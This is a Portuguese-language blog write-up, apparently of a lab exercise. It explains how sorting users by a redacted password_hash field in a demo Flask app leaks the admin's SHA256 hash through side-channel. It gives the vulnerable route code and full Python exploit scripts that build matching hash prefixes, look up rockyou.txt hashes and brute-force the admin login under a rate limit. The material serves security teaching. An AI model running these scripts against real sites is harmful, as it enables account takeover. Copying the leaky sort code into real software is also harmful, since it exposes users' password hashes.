Classificando seu caminho para senhas roubadas
Introdução
Recentemente, encontrei uma vulnerabilidade única que me permitiu realizar a extração de hash de senha, mesmo que parecesse que os dados estavam sendo editados corretamente.
Para demonstrar as implicações práticas dessa vulnerabilidade, desenvolvi um script que empregava um método de comparação caractere por caractere, construindo gradativamente o hash da senha do administrador classificando os usuários e observando suas posições. Essa abordagem, embora demorada, apresentou uma oportunidade única de quebrar hashes de senha SHA256 sem recorrer às técnicas tradicionais de força bruta.
Explorando o aplicativo da Web
Para ilustrar essa vulnerabilidade, criei um aplicativo da Web de demonstração que simula essa falha de segurança. Esta demonstração é dockerizada e pode ser baixada aqui se você quiser experimentá-la em sua própria máquina. O aplicativo da web se parece com isso:
O aplicativo é básico, consistindo em uma tabela de usuários com opções para classificar, adicionar um novo usuário e excluir todos os usuários. Em um cenário do mundo real, essa funcionalidade provavelmente seria mais avançada e protegida por autenticação.
Encontrando o bug
Ao executar minha metodologia padrão de segurança de aplicativos da Web, notei algo interessante em relação à tabela de usuários. Usando o Burp Suite, pude ver que havia uma solicitação sendo enviada quando visualizei a página index.html que classificava os usuários na tabela:
Agora, isso não era algo particularmente fora do comum, mas depois de tentar algumas maneiras diferentes de classificar a coluna, descobri que as posições dos usuários estavam mudando quando classifiquei por password_hash !
Isso foi muito estranho, pois na captura de tela acima todos os hashes são REMOVIDOS , portanto, eles não devem mudar de posição ao classificar por esse campo?
Para descobrir por que isso estava ocorrendo, fiz algumas análises no código e descobri isso:
# Getting users for the table on index.html
@app.route('/users')
def get_users():
sort_col = request.args.get('sort_col', default='id')
sort_order = request.args.get('sort_order', default='asc')
sorted_users = sorted(
users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))
redacted_users = []
for user in sorted_users:
redacted_user = user.copy()
redacted_user['password_hash'] = 'REDACTED'
redacted_users.append(redacted_user)
return jsonify(redacted_users)
Em teoria, se soubermos ou pudermos adivinhar o mecanismo de hash de senha (geralmente SHA256, MD5 ou bcrypt), poderíamos criar um novo usuário, com uma senha onde sabemos qual é o hash e usá-lo para classificar os usuários para determinar a senha do usuário administrador.
No diagrama acima, a senha do administrador é donut que tem um hash SHA256 de 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Meu objetivo é retornar o usuário administrador da lista antes de mim. Quando isso acontece, sei que meu hash começa com um valor antes dos administradores. Então, no caso acima, meu hash é menor que o dos admins, então ele retorna [me, admin].
Neste diagrama, atualizei minha senha para 72yY2GEp41, o que resultou em um hash SHA256 de 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db . Ao executar a função check() , ainda sou o primeiro da lista. No entanto, a função está validando se os primeiros caracteres são iguais “2” == “2”, depois verifica o próximo caractere “f” > “4”, que retornaria meu hash primeiro.
Por último, quando o hash da minha senha começa com o caractere “3”, é maior que o hash da senha do administrador, que começa com “2”. Portanto, o administrador retorna primeiro na lista e podemos determinar que o hash da senha do administrador tem um “2” no slot index[0] ! Muito legal né! Agora vamos transformar essa teoria em código.
Transformando a teoria em código
Minha abordagem para esse problema é bastante lenta; portanto, se você souber de uma maneira mais eficiente de fazer isso, comente e me avise!
O processo que fiz para extrair o hash da senha do administrador é o seguinte:
- Escreva algumas funções para criar um novo usuário com uma senha de minha escolha, limpe a tabela de usuários e classifique os usuários. O código que criei para isso é o seguinte:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
2. Em seguida, criei uma função chamada check() para ver se a resposta json da função sort_users() está retornando a tabela de usuários com o usuário admin primeiro na lista ou segundo :
def check():
users = json.loads(sort_users())
return users[0]['id'] == 1
3. Agora eu precisava encontrar um hash SHA256 que começasse com um prefixo e retornar a string usada para gerar esse hash e o próprio hash.
Por exemplo, se eu sei que meu admin_hash é: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Então, o que preciso fazer é criar um hash que possa usar para classificá-lo. Portanto, my_hash pode se parecer com: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . A ideia aqui é que, como posso classificar o banco de dados, posso determinar se admin_hash é ascendente ou descendente em comparação com my_hash. Portanto, 8c6976e… apareceria primeiro antes de 87227af… porque os 8's são iguais, mas “c” vem antes de “ 7” se minha classificação for para valores decrescentes. Entendeu?
Agora tudo o que preciso fazer é ir caractere por caractere, criando hashes com um prefixo até que eu tenha a senha de texto sem formatação do administrador e seu hash. Para fazer isso, meu código ficou assim:
def gen_hash(prefix):
while True:
random_string = ''.join(random.choices(
string.ascii_letters + string.digits, k=10))
sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
if sha256_hash.startswith(prefix):
return random_string, sha256_hash
4. Uma vez que esta função estava funcionando, a última coisa que eu precisava era lógica para fuzzar caractere por caractere até obter um hash que correspondesse aos administradores! Para fazer isso, meu código ficou assim:
if __name__ == '__main__':
# SHA256 hashes can only have 0-9, a-f which limits our bank significantly.
bank = '0123456789abcdef'
value = []
# 64 chars is the length of a SHA256 hash
while len(value) <= 64:
found_match = False
for char in bank:
# Sends the POST request to clear all users but admin
clear_users()
# Ill talk about the 'ff' below :sad-doge:
rand_string, hash = gen_hash("".join(value) + char + 'ff')
# Creates a new user, with the random string that has our prefix
create_user(password=rand_string)
# Checking to see if admin comes first or second in the table
if check():
value.append(char)
found_match = True
break
# Adds some animation because who likes boring CLIs
print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
time.sleep(0.1)
if not found_match:
value.append('0' if not value else 'f')
print("\n[!] FINAL ADMIN HASH: " + ''.join(value))
No geral, se você juntar todo esse código, deverá ver algo como o GIF abaixo em seu console:
Você pode ver no GIF que estou obtendo apenas alguns caracteres e então começa a ficar realmente lento. Isso porque estamos literalmente forçando a senha do usuário administrador. Essa é uma grande limitação e provavelmente exigiria que o invasor gastasse muito tempo gerando senhas. A única diferença entre isso e uma força bruta genérica é que a limitação se deve ao poder de computação do seu computador. Encontrar hashes que começam com mais de 5 caracteres leva muito tempo, a menos que você pré-calcule os hashes ou tenha uma grande tabela de arco-íris para pesquisar. No geral, obter uma força bruta completa como essa provavelmente levaria cerca de 500 solicitações ao servidor e exigiria que você gerasse uma tonelada de strings para obter o valor de hash correto.
Não é sua força bruta típica
O aplicativo de demonstração possui limitação de taxa integrada com 200 req/h nos endpoints principais e 20 req/hr no endpoint de login. Com isso em mente, um ataque de força bruta provavelmente levaria milhões, senão bilhões, de solicitações para adivinhar a senha. Mas, e se eu disser que podemos fazer isso com menos de 200 solicitações? Vamos mergulhar em como isso funcionaria.
Semelhante à abordagem que usei com o primeiro script solve.py, nesta abordagem, vamos assumir que a senha é escolhida aleatoriamente de rockyou.txt . Agora, isso é trapacear um pouco, mas rockyou.txt tem 14.344.394 (14 milhões) de senhas na lista. Teremos que “adivinhar” a senha em menos de 200 solicitações para evitar a detecção e o limite de taxa. Vamos começar.
- Semelhante ao primeiro script solve.py, vou usar as mesmas funções que interagem com o aplicativo da web, mas também vou fazer uma função de login:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
def login(username, password):
url = f"http://{domain}/login"
json = {"username": username, "password": password}
r = requests.post(url, json=json)
return r.status_code
import hashlib
with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
with open('combined.txt', 'w') as output_file:
for line in input_file:
line = line.strip()
hashed_line = hashlib.sha256(line.encode()).hexdigest()
output_file.write(f'{hashed_line},{line}\n')
print('Conversion completed. Check combined.txt file.')
2. Agora eu precisava escrever uma função que pudesse agir de forma semelhante à minha função gen_hash(prefix) , mas para examinar nosso novo arquivo combinado.txt para encontrar hashes que poderiam ser o hash de senha do usuário com base no prefixo . Aposto que você vê onde quero chegar com isso agora :)
def find_hashes(prefix):
hashes = []
passwords = []
with open('combined.txt', 'r', errors='replace') as file:
for line in file:
line = line.strip()
if line.startswith(prefix):
values = line.split(',')
if len(values) == 2:
sha256, password = values
hashes.append(sha256)
passwords.append(password)
return hashes, passwords
3. A página /login permite apenas 20 req/hr. Dito isso, eu precisava obter meu valor de prefixo por tempo suficiente para poder chamar a função find_hashes () e fazer com que ela retornasse 20 (ou menos) senhas que começam com um determinado valor de prefixo.
Possible password hashes (notice they all start with the prefix):
hash_prefix: "b60d9"
055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...
def bruteforce(password_list):
for pwd in password_list:
if login('admin', pwd) == 200:
print(
f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
sys.exit(0)
if __name__ == '__main__':
api_call_count = 0
prefix = ""
bank = '0123456789abcdef'
for i in range(10):
found_match = False
for char in bank:
clear_users()
pwd, hash_value = gen_hash(prefix+char+'f')
create_user(password=pwd)
api_call_count += 3
if check():
found_match = True
prefix += char
tmp_hashes, tmp_passwords = find_hashes(prefix)
if (len(tmp_hashes) < 20):
print(
f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
bruteforce(tmp_passwords)
break
print(
f"[!] FINDING HASH: {prefix}{colored(char, 'red')} - [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
time.sleep(0.2)
if not found_match:
hash += 'f' if hash else '0'
Este script solve.py leva 2m 30s e usa 87 solicitações. O hash da senha é completamente aleatório na lista de palavras rockyou.txt que contém 14.344.394 (14 milhões) senhas.
Conclusão
Embora meu aplicativo da Web de demonstração possa não ter ganho nenhum prêmio de "Aplicativo da Web mais seguro do ano", ele certamente mostra como alguns bugs podem ser únicos e por que o chatGPT não vai assumir meu emprego tão cedo.
Brincadeiras à parte, essa vulnerabilidade que permite aos invasores encontrar senhas roubadas esclarece os riscos potenciais ocultos em funcionalidades aparentemente inofensivas. Por meio de uma análise minuciosa e de uma abordagem inteligente, os invasores podem extrair hashes de senha de aplicativos da Web vulneráveis se não forem cuidadosos.
Observação: se você gostou desta postagem no blog e deseja tentar criar seu próprio script de solução, criei um contêiner docker que gera aleatoriamente a senha do administrador que pode ser baixada aqui . Feliz Hacking!